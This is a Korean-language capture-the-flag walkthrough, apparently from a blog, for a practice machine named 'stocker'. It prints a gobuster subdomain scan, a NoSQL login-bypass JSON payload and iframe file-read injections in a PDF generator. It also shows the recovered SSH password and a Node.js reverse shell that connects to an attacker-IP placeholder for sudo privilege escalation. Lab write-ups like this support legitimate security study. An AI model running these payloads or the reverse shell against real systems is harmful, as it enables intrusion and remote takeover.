

1.) 타겟 IP -> 10.10.11.196이다.

2.) Nmap스캔 결과이다.
22, 80포트가 open되어있고, ssh와 http가 있다.

3.) DNS설정을 해줄 것이다.
sudo nano /etc/hosts

4.) 이렇게 해주면 된다.

5.) 웹을 접속하면 이렇게 뜬다.

6.) 스크롤을 내려보면 User로 보이는 이름을 찾을 수 있다.

7.) 하위 Domain경로를 찾기 위해 gobuster을 사용한다.
gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u stocker.htb -t 50 --append-domain
dev.stocker.htb 경로를 찾았다.


8.) 새롭게 알아낸 DNS를 추가해준다.

9.) 접속해보면 로그인 페이지가 뜬다.

10.) 파이어폭스 브라우저의 FoxyProxy를 burp on 해준다.

11.) 버프 스위트를 실행한다음 Proxy에서 Intercept is on을 해준다.

12.) admin:admin을 입력해주고 엔터를 누른다.

13.) 15번줄에 입력한 부분이 뜨는데 저걸 지우고, 밑에 코드를 입력한다.
{"username": {"$ne": null}, "password": {"$ne": null} }

14.) Content-Type에 밑에 코드를 입력하고 Forward를 계속 해준다.
application/json

15.) Forward를 다 했을 때, Intercept is on을 눌러서 off로 바꾼다.

16.) 그러면 이렇게 로그인이 된다.

17.) FoxyProxy를 Off로 변경하고, 브라우저를 새로고침(F5)해준다.

18.) 스크롤을 내려보면, 여러가지 상품들이 뜨는데 아무거나 Add to Basket을 해준다.

19.) View Cart를 누르고, Submit Purchase를 누른다.

20.) here을 클릭한다.

21.) 이런식으로 뜨는데, 느낌상 인젝션을 해야할 것 같다.

22.) 아까와 똑같이 버프스위트를 켜고 title부분에 해당 코드를 넣고 Forward한다.
<iframe src=/etc/passwd height=1000 width=1000></iframe>

23.) 이렇게 인젝션이 된다. 유저가 angoose가 보이고, /bin/bash이다.

24.) 아까랑 똑같이 하고, 밑에 코드를 입력해준다.
"<iframe src=file:///var/www/dev/index.js height=1000px width=1000px></iframe>"

25.) 패스워드를 IHeardPassphrasesArePrettySecure 찾았다.
포트는 ssh, http밖에 없었으니 ssh로 연결을 해야한다.
username: Angoose
Password: IHeardPassphrasesArePrettySecure

26.) ssh 접속 성공

27.) User.txt 찾았다. root.txt가 남았다.

28.) root권한 상승을 위해 sudo -l로 가능한 부분을 알아냈다.


29.) nano payload.js로 파일을 생성하고, 코드를 입력한다.
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(4242, "공격자IP", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();

30.) tmp에 만든 파일을 복사한다.

31.) 새 터미널을 열어서 아까 입력한 포트로 netcat해준다.

32.) 아까 sudo -l로 알아낸 경로를 붙여넣고, 뒤에 cp한 경로도 넣어준다.

33.) 쉘이 연결되었고, root권한을 얻었고, root.txt도 찾았다.
제 유튜브 채널입니다.
도움이 됐다면, 구독 부탁합니다!
주변에 제 블로그, 유튜브를 알려주시면 감사하겠습니다~! :)
Thank you for watching the blog.
Please subscribe! I would appreciate it if you could share the blog around you.